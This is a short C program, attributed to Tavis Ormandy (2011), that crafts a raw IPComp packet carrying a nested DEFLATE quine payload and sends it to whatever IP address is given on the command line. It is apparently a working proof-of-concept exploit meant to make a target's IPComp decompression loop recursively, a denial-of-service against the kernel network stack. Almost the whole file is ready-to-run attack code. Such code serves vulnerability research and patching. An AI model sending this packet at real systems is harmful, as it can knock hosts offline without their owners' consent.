#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <zlib.h>
#include <alloca.h>
#include <stdbool.h>
#include <stdlib.h>
#include <string.h>

//
// Nested IPComp Encapsulation with DEFLATE LZ77 RFC1951 Quine.
//
// The technique used to generate this payload is documented here:
//
//  http://research.swtch.com/2010/03/zip-files-all-way-down.html
//
//  -- Tavis Ormandy <taviso@cmpxchg8b.com>, March 2011
//
// Special thanks to rsc and Matthew Dempsky.
//

enum {
    IPCOMP_OUI          = 1,
    IPCOMP_DEFLATE      = 2,
    IPCOMP_LZS          = 3,
    IPCOMP_MAX,
};

int main(int argc, char **argv)
{
    int                 s;
    struct sockaddr_in  sin    = {0};

    struct __attribute__((packed)) {
        uint8_t     comp_nxt;       // Next Header
        uint8_t     comp_flags;     // Reserved, must be zero
        uint16_t    comp_cpi;       // Compression parameter index
        uint8_t     comp_data[180]; // Payload
    } ipcomp = {
            .comp_nxt       = IPPROTO_COMP,
            .comp_flags     = 0,
            .comp_cpi       = htons(IPCOMP_DEFLATE),
            .comp_data      = {
                0xca, 0x61, 0x60, 0x60, 0x02, 0x00, 0x0a, 0x00, 0xf5, 0xff,
                0xca, 0x61, 0x60, 0x60, 0x02, 0x00, 0x0a, 0x00, 0xf5, 0xff,
                0x02, 0xb3, 0xc0, 0x2c, 0x00, 0x00, 0x05, 0x00, 0xfa, 0xff,
                0x02, 0xb3, 0xc0, 0x2c, 0x00, 0x00, 0x05, 0x00, 0xfa, 0xff,
                0x00, 0x05, 0x00, 0xfa, 0xff, 0x00, 0x14, 0x00, 0xeb, 0xff,
                0x02, 0xb3, 0xc0, 0x2c, 0x00, 0x00, 0x05, 0x00, 0xfa, 0xff,
                0x00, 0x05, 0x00, 0xfa, 0xff, 0x00, 0x14, 0x00, 0xeb, 0xff,
                0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x14, 0x00, 0xeb, 0xff,
                0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x14, 0x00, 0xeb, 0xff,
                0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x14, 0x00, 0xeb, 0xff,
                0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x14, 0x00, 0xeb, 0xff,
                0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff,
                0x00, 0x00, 0x00, 0xff, 0xff, 0x00, 0x0f, 0x00, 0xf0, 0xff,
                0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff,
                0x00, 0x00, 0x00, 0xff, 0xff, 0x00, 0x0f, 0x00, 0xf0, 0xff,
                0x82, 0x72, 0x61, 0x5c, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff,
                0x01, 0x00, 0x00, 0xff, 0xff, 0x82, 0x72, 0x61, 0x5c, 0x00,
                0x00, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00, 0x00, 0xff, 0xff
            }
    };


    sin.sin_family      = AF_INET;
    sin.sin_port        = htons(0);
    sin.sin_addr.s_addr = inet_addr(argv[1]);

    if ((s = socket(PF_INET, SOCK_RAW, IPPROTO_COMP)) < 0) {
        fprintf(stderr, "error: failed to create socket, %m\n");
        return 1;
    }

    if (sendto(s,
               &ipcomp,
               sizeof(ipcomp),
               MSG_NOSIGNAL,
               (const struct sockaddr *)(&sin),
               sizeof(sin)) != sizeof(ipcomp)) {
        fprintf(stderr, "error: send() returned failure, %m\n");
        return 1;
    }

    fprintf(stdout, "info: success, packet sent to %s\n", argv[1]);

    return 0;
}